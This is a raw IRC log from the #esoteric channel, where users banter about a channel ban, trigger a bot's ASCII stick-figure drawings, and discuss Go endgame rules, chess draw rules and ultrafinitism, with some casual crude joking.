painful. < 1268171807 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :`define fricative < 1268171809 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* fricative consonant: a continuant consonant produced by breath moving against a narrowing of the vocal tract \ * of speech sounds produced by forcing air through a constricted passage (as `f', `s', `z', or `th' in both `thin' and `then') \ [18]wordnetweb.princeton.edu/perl/webwn < 1268171811 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or at best, very shocking. < 1268171821 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :`define fricate < 1268171823 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* Frication - Fricatives are consonants produced by forcing air through a narrow channel made by placing two articulators close together. ... \ [13]en.wikipedia.org/wiki/Frication \ * frication - friction; turbulent and noisy airflow < 1268171828 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Darn. < 1268171832 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268171839 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :force air through narrow channel < 1268171947 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i forced.... ughr < 1268171957 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh, fricate. not fornicate. < 1268172117 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 619 seconds < 1268172130 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1268172436 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey alis < 1268172437 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey alise < 1268172494 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268172629 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: can you believe I was banned??? :( < 1268172731 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: from where? < 1268172738 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :#nm < 1268172761 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and after all this time I thought I was an asset to the channel :((((((((((((((((((((((((((((((((((((((((((((( < 1268172838 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what holy shit < 1268172867 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: |Steve| did because I banned him from ~m < 1268172901 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :[otherwise no other reason] < 1268172947 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :wow, what a jerk! < 1268172960 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :such tit-for-tat brinkmanship < 1268172998 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :he should have turned the other cheek and made you an op so you can ban him in #nm < 1268173071 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION seems to be having troubles with his sarcasm meter
< 1268173109 0 :MigoMipo_Zwei!~migomipo@84-217-4-83.tn.glocalnet.net JOIN :#esoteric < 1268173121 0 :MigoMipo!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268173142 0 :MigoMipo_Zwei!unknown@unknown.invalid NICK :MigoMipo < 1268173214 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: i'm using all my diplomatic finesse to get you unbanned < 1268173220 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so expect a permaban, probably in #math too < 1268173236 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268173241 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: awww < 1268173255 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, that was funny. < 1268173257 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Noooo don't get yourself in trouble < 1268173284 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :nono i'm not getting *myself* in trouble :D < 1268173297 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Hahaha okay good < 1268173309 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :- famous last words < 1268173422 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :"oerjan: lol" <<< is it just me or is this really out of character < 1268173446 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :or was that just the first thing ever you found funny here < 1268173454 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I found this quite funny: [16:17.27] * oerjan seems to be having troubles with his sarcasm meter < 1268173460 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :also god i hate this nick < 1268173490 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan leaks this constant flow of hilarious humor < 1268173499 0 :cpressey!unknown@unknown.invalid NICK :cpressez < 1268173541 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: i found lament's comment hard to measure < 1268173551 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1268173553 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :it was funny < 1268173558 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :the way you said it < 1268173563 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :at the time you said it < 1268173610 0 :muni_!~opera@metroeth-nat91.217.146.194.generacja.pl JOIN :#esoteric < 1268173638 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :"I love you." "LOL!" < 1268173672 0 :cpressez!unknown@unknown.invalid PRIVMSG #esoteric :I suppose that's better than "I love you." "ROTFL" < 1268173694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268173715 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(yeah i'm just messing with o|{|_o9o|_ now) < 1268173730 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(ok, and laughing) < 1268173744 0 :cpressez!unknown@unknown.invalid PRIVMSG #esoteric :limh < 1268173748 0 :cpressez!unknown@unknown.invalid PRIVMSG #esoteric :(laughing in my head) < 1268173772 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why did alise just disappear like that? < 1268173772 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sounds painful < 1268173786 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: THEY found him < 1268173796 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah not funny < 1268173914 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :it's an unfunny in-joke in bad taste < 1268173927 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :the best kind < 1268173932 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :maybe i should ban myself < 1268173945 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :can you? < 1268173952 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okklopkuabp < 1268173952 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :presumably < 1268173957 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268173959 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, he has ops nowadays < 1268173960 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you didn't respond < 1268173964 0 :o|{|_o9o|_!unknown@unknown.invalid NICK :oklopol < 1268173998 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :didn't respond to what? if it was in pm, i had a different nick for a while, not sure if you noticed because there were only typographical differences < 1268174005 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :8:/ < 1268174030 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you asked me whether 8, or what? < 1268174042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_clearly_ 8 < 1268174053 0 :cpressez!unknown@unknown.invalid PRIVMSG #esoteric :The ratio between 8 and / < 1268174055 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that much is obvious < 1268174070 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268174082 0 :muni_!unknown@unknown.invalid PART #esoteric :? < 1268174103 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressez: you zuddenlee look very french < 1268174143 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is really frustrating < 1268174221 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :fax are you hot < 1268174265 0 :cpressez!unknown@unknown.invalid PRIVMSG #esoteric :Si pressez-vous la bouton < 1268174290 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION presse la bouton.
< 1268174301 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Le monde explode! < 1268174326 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Que galère!!! < 1268174351 0 :cpressez!unknown@unknown.invalid NICK :cpressey < 1268174353 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well enough of that. < 1268174373 0 :alise!~d4b78c25@gateway/web/freenode/x-gragdkscfdmocvqg JOIN :#esoteric < 1268174386 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268174397 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*explose < 1268174400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :darn french < 1268174404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :depose* < 1268174468 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268174631 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :bzflag < 1268174634 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i remember that game < 1268174647 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :13:46:32 the theorem doesn't actually have any mathematical content, it's just stated for convenience, so you don't have to think about what happens on the boundaries of the sum and the integral every time < 1268174647 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :         | < 1268174647 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :        /�\ < 1268174653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :everything that is true is an obvious tautology :P < 1268174665 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*facepalm* < 1268174678 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*kneeear* < 1268174685 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :etc. < 1268174689 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION snickers
< 1268174697 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lawl < 1268174697 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :There are no trivial mathematics, only trivial mathematicians! < 1268174724 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :myndzi: was that supposed to look dirty? < 1268174728 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: you're quite limber, i take < 1268174748 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I am on IRC, at least. < 1268174756 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268174775 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1268174780 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268174787 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric : \o/ \o/ \o/ \o/ < 1268174787 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   |   |   |     | < 1268174788 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :  /|   |\ /|    /| < 1268174799 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric : \o/\o/\o/\o/ < 1268174799 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   |  |  |  | < 1268174799 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   |\ |\ >\/�\ < 1268174810 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :/´\ < 1268174821 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric : \o/ < 1268174822 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :    | < 1268174822 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   /| < 1268174824 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :\o/\o/\o/ < 1268174825 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : |  |  | < 1268174825 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : >\ >\ >\ < 1268174846 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/\o/ < 1268174846 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | < 1268174846 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : >\/| /| /< /< /'\/�\/< /< /<  |\ |\/`\ |\/<  |\/| < 1268174850 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric : \o/ < 1268174850 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                                                                 | < 1268174851 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                                                                /| < 1268174854 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :wow awesome < 1268174857 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :very few of them have dicks. < 1268174858 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :that is the coolest thing ever < 1268174868 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i know \o/ < 1268174868 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :        | < 1268174868 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :        |\ < 1268174877 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :_o/ < 1268174878 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :       | < 1268174878 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :      /'\ < 1268174881 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :HAHA < 1268174882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :are there actually spaces before? if so, my client strips them >_< < 1268174893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there used to be iirc < 1268174895 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :get a client that doesn't suck < 1268174904 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1268174905 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   `\o/� < 1268174905 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :     | < 1268174905 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : (_|�'\ < 1268174905 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :      |_) < 1268174915 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :LOL WUT < 1268174927 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :\m/ < 1268174933 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric : \m/ < 1268174935 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :\m/ \m/ < 1268174943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :14:27:52 I suppose that's better than "I love you." "ROTFL" < 1268174944 0 :cheater2!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268174946 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1268174946 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                           `\o/� < 1268174946 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                             | < 1268174946 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                            /'\ < 1268174946 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                          (_| |_) < 1268174947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*ROTFUL < 1268174967 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric : o < 1268174970 0 :cheater2!~cheater@ip-80-226-44-25.vodafone-net.de JOIN :#esoteric < 1268174974 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric : _o_ < 1268174975 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                          | < 1268174975 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                         /| < 1268174981 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :wowowowow < 1268174984 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :that is so cool < 1268174993 0 :alise!unknown@unknown.invalid PART #esoteric :? < 1268174999 0 :alise!~d4b78c25@gateway/web/freenode/x-gragdkscfdmocvqg JOIN :#esoteric < 1268175040 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that script is the only reason i go to #esoteric < 1268175047 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"alise: are there actually spaces before? if so, my client strips them >_<" <<< first whitespace i've ever seen that nnscript *doesn't* strip < 1268175075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in the logs it's spaces /and/ some other char < 1268175127 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: ur the only reason I go to #esoteric~ < 1268175158 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: ur the only reason fax goes to #esoteric < 1268175166 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :FU*K < 1268175170 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1268175177 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :fax has acne and boils < 1268175202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#~esoteric is either the most interesting channel I can think of, or the least, depending on what #esoteric is at the time, < 1268175233 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, I guess it's #(~esoteric), not ~(#esoteric) < 1268175234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so most boring < 1268175250 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oh shut up < 1268175285 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :(I was talking to EgoBot not you alise) < 1268175287 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's transitive < 1268175293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot is talking? < 1268175305 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yeh < 1268175423 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :!echo I'm human! < 1268175427 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I'm human! < 1268175456 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :he's just using facilitated communication < 1268175513 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: <3 < 1268175531 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: http://i.imgur.com/ZFlbv.jpg < 1268175549 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm not opening anything at work < 1268175554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if that's the same image Quadrescence linked to me before
< 1268175558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if so, lament made the right choice :p < 1268175562 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268175577 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"However, under Japanese rules, the game is already considered to have ended. The players attempt to ascertain which groups of stones would remain if both players played perfectly from that point on. (These groups are said to be alive.) In addition, this play is done under rules in which kos are treated differently from ordinary play. If the players reach an incorrect conclusion, then they both lose." < 1268175590 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the situation for a disputed endgame in Go is even funnier than I thought < 1268175598 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268175598 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :coppro: if you ever need latex help, you're welcome to ask me instead of going to #latex where people treat you like you're 8.5 years old < 1268175614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You get nothing! You LOSE! Good DAY sir. < 1268175614 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I love the way that the double loss is given for getting it wrong, rather than for disagreement < 1268175657 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i wonder how many famous games of go are actually platonically a double loss < 1268175662 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but nobody's realised < 1268175672 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: except with more honorifics < 1268175701 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i wonder how many chess games actually ended with the white winning, but the players thought black won. < 1268175702 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: probably not that many in famous games, you'd expect the players to get it right < 1268175724 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :for draws, there probably are such instances < 1268175736 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: a few famous ones (if you allow vice versa); there was one where one of the players lost on time, and the referee accidentally turned the clock round and gave the win to the wrong player < 1268175738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: None :P < 1268175740 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in a relatively publicised tournament < 1268175751 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that's cheating < 1268175755 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268175770 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: by the referee? < 1268175773 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was a mistake, rather than deliberate < 1268175778 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how many chess games actually ended with the X winning, but the players thought Y won, and the game ended by the taking of a king, where X =/= Y. < 1268175783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i mean as an example < 1268175783 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's cheating as an answer to my wonderingment < 1268175786 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268175820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Note that X or Y can be "draw" < 1268175821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, xor < 1268175825 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268175860 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268175901 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there was a case (again in a serious tournament) where a player offered a draw, his opponent said "make a move first", the player moved, then the opponent resigned < 1268175907 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :legally, you can still take the draw in that situation < 1268175926 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(it's a rule against draw offer spam; if someone offers a draw, you can accept until the end of your next move) < 1268175938 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(so there's no point in offering more than once in the same move) < 1268175949 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but anyway i think it's technically possible that black moves a piece so that the king can't move anymore, and neither player realizes there's a distant piece making it a checkmate instead of a stalemate < 1268175989 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I suppose so vaguely < 1268175993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://sci.tech-archive.net/Archive/sci.logic/2006-10/msg00751.html < 1268175994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i keep < 1268175994 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268175995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :reading this < 1268175996 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as a < 1268175997 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :poem < 1268175999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it < 1268176000 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is really < 1268176001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :annoying < 1268176001 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :actually, there are probably loads of draws on time which were claimed as wins on time by mistake < 1268176019 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(draw on time: if your opponent runs out of time, but it's theoretically impossible to win given the material on the board) < 1268176035 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise "Yessenin-Volpin"? wow a THIRD ultra-finitist?? < 1268176048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: they don't even include what'shisname in that list < 1268176052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the guy we've been talking about < 1268176055 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :japanese rules allow draws on time??? < 1268176056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so there are FOUR??? < 1268176059 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: oh crap < 1268176067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no wait, three < 1268176073 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: the number of ultrafinitists is getting dangerously big < 1268176076 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lament: Chess, not Go < 1268176082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this movement has gained its maximum possible mass (I don't believe in 4) < 1268176085 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: what if it overflows??? < 1268176086 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament, lol < 1268176095 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's always theoretically possible to play Go so badly that your opponent wins < 1268176098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: damn you made the same joke as me but beter < 1268176098 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lament: dammit stealing my joke < 1268176105 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1268176199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, you know Freek Wiedijk < 1268176200 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268176261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i do now < 1268176261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: resend your latest /msg, i closed the tab by mistake < 1268176271 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that can't possibly be true, do you see why?? < 1268176279 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :DUCY??? < 1268176294 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lament: the game lasts an infinite length of time if both people try it < 1268176305 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm sure everyone thought of the joke < 1268176310 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, unless you enforce superko, in which case my statement is indeed incorrect < 1268176334 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :It depends on the form of superko < 1268176340 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ais523: why would either of them capture at all? They would pass. < 1268176365 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, good point < 1268176366 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :they ought to pass when there's one empty point remaining < 1268176374 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I somehow assumed that you'd capture with only one point left < 1268176377 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :if the game ends < 1268176382 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :too much exposure to the stupid stupid Yahoo auto-go thing < 1268176391 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which has a bug where you can run an opponent out of time by repeated passing < 1268176402 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm not sure what's the status if the game ends but i guess it's seki < 1268176413 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :either seki or "both players lose" < 1268176533 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :SEKSI < 1268176555 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what would be funny would be if you somehow got half a stone onto the board < 1268176559 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and then claimed a draw despite komi < 1268176639 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :very easy with cheap chinese stones, they break all the time < 1268176670 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Here's a thought: hybridize Go and Chess by simply having a chess board, where the intersections are the points on a Go board, every turn you do either a Chess or a Go move, and the Go game works as usual, including taking out Chess pieces :P < 1268176725 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :who wins? < 1268176740 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Whoever either checkmates or takes out the opponent's king. < 1268176763 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Which, I suppose, is problematic for the Go component ... < 1268176767 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :do you need to surround a piece on four sides to capture is? < 1268176770 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268176770 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Needs some rough edges smoothed out. < 1268176771 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :*it < 1268176777 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lament: That was the idea? < 1268176779 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lament: you could take it with a chess piece < 1268176783 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :or surround it < 1268176784 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, yes. < 1268176788 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :does go have a winning condition? < 1268176790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't actually know < 1268176790 0 